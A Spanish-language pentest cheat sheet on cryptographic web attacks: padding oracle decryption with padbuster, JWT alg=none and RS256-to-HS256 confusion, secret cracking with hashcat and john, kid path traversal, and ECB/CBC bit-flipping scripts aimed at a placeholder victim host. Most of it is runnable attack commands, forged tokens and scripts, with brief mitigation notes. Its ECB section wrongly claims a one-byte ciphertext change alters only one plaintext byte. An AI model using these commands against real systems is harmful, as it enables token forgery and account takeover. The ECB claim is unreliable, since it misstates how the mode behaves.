Padding Oracle (CBC)
Detección
- Enviar un bloque cifrado modificado (cambiar 1 byte en el penúltimo bloque) y observar diferencias en códigos de estado (200 vs 500), mensajes de error, o tiempos de respuesta.
- Endpoints comunes:
?data=...,?token=..., cuerpos JSON con campos cifrados, cookies cifradas.
Ataque manual (concepto clave)
- Se descifra byte a byte del último bloque hacia atrás. Para un byte
idel bloqueC[n], se manipula el byteidel bloqueC[n-1]hasta obtener padding válido (PKCS#7 → último byte0x01, o0x02 0x02, etc.). - Con cada padding válido, se obtiene el valor intermedio
I[i] = P[i] XOR C'[n-1][i], y luego el plaintext realP[i] = I[i] XOR C[n-1][i].
Herramienta: padbuster (ejemplo real)
# Descifrar un valor cifrado en base64 (URL-safe) en un parámetro 'data'
padbuster http://victim.com/vuln.php "F5B9F2C1A3D4E5F60718293A4B5C6D7E8091A2B3C4D5E6F7" 16 -encoding 0 -cookies "session=abc123" -post "data=PLACEHOLDER"
# Ataque de cifrado (elegir plaintext)
padbuster http://victim.com/vuln.php "<ciphertext_original>" 16 -encoding 0 -plaintext "user=admin&role=1" -cookies "session=abc123"
- Nota:
16= tamaño de bloque en bytes. Verificar encoding (0base64,1hex,2base64url).
Alternativa manual con Python (script mínimo)
import requests, base64
def oracle(ciphertext_b64):
r = requests.post('http://victim.com/vuln.php', data={'data': ciphertext_b64})
return r.status_code == 200 # ajustar según respuesta
cipher = base64.b64decode('...')
block_size = 16
# ... lógica de fuerza bruta por byte, comprobando padding valido
Prevención / Nota
- El ataque funciona por revelar si el padding es válido (mensajes diferentes). Cifrado autenticado (AES-GCM) o HMAC antes de cifrar lo mitiga.
JWT — Algoritmo confusion y claves débiles
alg=none
- Eliminar la firma, cambiar el header a
{"alg":"none"}y dejar la parte de firma vacía. - Base64url del header:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 - Ejemplo de token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ. - Si el servidor acepta
alg: none,None,NONEo variaciones, la firma no se verifica.
Confusión RS256 → HS256 (asimetrica → simetrica)
- El servidor firma con RSA (RS256) usando la clave privada, pero verifica con la clave pública. Si el endpoint usa el mismo secreto para HS256 y obtiene la clave pública, podemos firmar con ella.
# Obtener la clave pública (ej: /jwks.json, /auth/keys, metadata)
curl http://victim.com/jwks.json | jq -r '.keys[0].x5c[0]' | base64 -d > pubkey.der
openssl x509 -inform der -in pubkey.der -pubkey -noout > pubkey.pem
# Convertir a formato HMAC y firmar
jwt_tool <token_original> -X k -pk pubkey.pem # modo 'k' = confusion
# o manualmente:
python -c "import jwt; print(jwt.encode({'user':'admin'}, open('pubkey.pem').read(), algorithm='HS256'))"
Claves débiles (fuerza bruta de secreto HMAC)
# jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Hashcat
hashcat -m 16500 -a 0 jwt_token.txt /usr/share/wordlists/rockyou.txt
# (16500 = JWT HS256)
# john the ripper
john jwt_token.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
jwt_tool: otros flags utiles
# Verificar firma pasiva (sin ataque)
jwt_tool <token>
# Cambiar payload y re-firmar con secreto conocido
jwt_tool <token> -T -S hs256 -p "secreto_descubierto"
# Ataque kid path traversal (si usa 'kid' para elegir clave)
jwt_tool <token> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Prevención
- Restringir algoritmos a una lista blanca, usar librerías que no permitan
nonepor defecto, y asegurar que la clave pública no se use como HMAC secret.
ECB vs CBC Bit-Flipping
ECB — corte y reordenamiento de bloques
- ECB cifra bloques independientemente: se pueden reordenar o duplicar bloques sin invalidar nada.
- Ejemplo: cookie contiene
role=usercifrado en ECB. Localizar el byte en el bloque, modificarlo para cambiar un byte (por sustitución de bloque completo).
Ataque práctico (ej: cambiar 'user' a 'admin' en un bloque)
- Si el plaintext tiene estructura
...role=user...y conocemos el offset, modificamos el byte dentro del bloque (bit-flip directo sobre un byte del ciphertext). Un cambio en un byte del ciphertext ECB altera solo ese byte del plaintext.
# Ejemplo: cambiar 'u' (0x75) a 'a' (0x61) → XOR 0x14
idx = offset_del_caracter
cipher_byte = ciphertext[idx] ^ 0x14 # 0x75 XOR 0x14 = 0x61
ciphertext = ciphertext[:idx] + bytes([cipher_byte]) + ciphertext[idx+1:]
CBC Bit-Flipping (modificar plaintext sin conocer clave)
- CBC: el bloque
C[n]descifrado con la clave produceI[n](intermedio).P[n] = I[n] XOR C[n-1]. - Al modificar un byte de
C[n-1], se altera el mismo byte deP[n]de forma predecible:P'[n][i] = P[n][i] XOR C[n-1][i] XOR C'[n-1][i].
Ejemplo real: inyectar 'admin=1' en un bloque
# Supongamos que el plaintext del bloque 2 contiene "role=user" y queremos byte a byte
# Cambiamos el byte i del bloque anterior (C[n-1])
old_byte = plaintext_original[i] # ej: ord('u')
new_byte = ord('a')
C_prev_modified[i] = C_prev_original[i] ^ old_byte ^ new_byte
# Resultado: al descifrar, el bloque n ahora tiene 'a' en ese byte
Herramienta: ninguna genérica, script manual
import requests
def bit_flip_cbc(cookie_b64, block_index, byte_index, old_plain, new_plain):
import base64
cookie = bytearray(base64.b64decode(cookie_b64))
prev_block_start = (block_index - 1) * 16
cookie[prev_block_start + byte_index] ^= ord(old_plain) ^ ord(new_plain)
return base64.b64encode(bytes(cookie)).decode()
# Uso: modificar cookie y reenviar
- Requisito: hay una forma de decodificar el plaintext original (ej: error message que revela contenido) para saber qué bytes modificar.
Detección rápida ECB vs CBC
- Enviar dos bloques iguales de plaintext: si los bloques cifrados correspondientes son idénticos → ECB, sino CBC.
Herramientas adicionales
Padbuster flags importantes
-encoding 0(base64),1(hex),2(base64url)-cookies,-post,-getpara indicar posicion del ciphertext-proxypara depurar con Burp.
jwt_tool instalación / uso
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && python3 jwt_tool.py
# Modo interactivo o CLI
Otras herramientas utiles
hashidpara identificar tipo de hash de secreto.feroxbusterpara descubrir endpoints (a veces JWKS público).crypto-commons(Burp plugin) para automatizar deteccion de padding oracle y CBC.
Notas finales (experiencia real)
- En JWT confusion: verificar si el servidor acepta
algorithmen mayúsculas/minúsculas mezcladas:AlG,aEg, etc. - Muchas veces el error
Invalid signaturerevela si el alg es soportado o no. Si responde diferente aalg:nonevsalg:HS256, hay superficie. - En padding oracle, no limitarse a status codes: mirar longitud de respuesta, redirecciones (302 vs 200), y tiempo de respuesta (si hay sleep en fallo).
- En bit-flipping, si no se conoce el plaintext, intentar con patrones comunes:
role=user,admin=0,isAdmin=false.
Referencia rápida (codificación)
import base64
def b64url_decode(data):
# -len(data) % 4 da 0 si ya es múltiplo de 4 -- la fórmula (4 - len(data) % 4) en ese caso
# da 4 en vez de 0 y agrega padding de más, rompiendo la decodificación.
return base64.urlsafe_b64decode(data + '=' * (-len(data) % 4))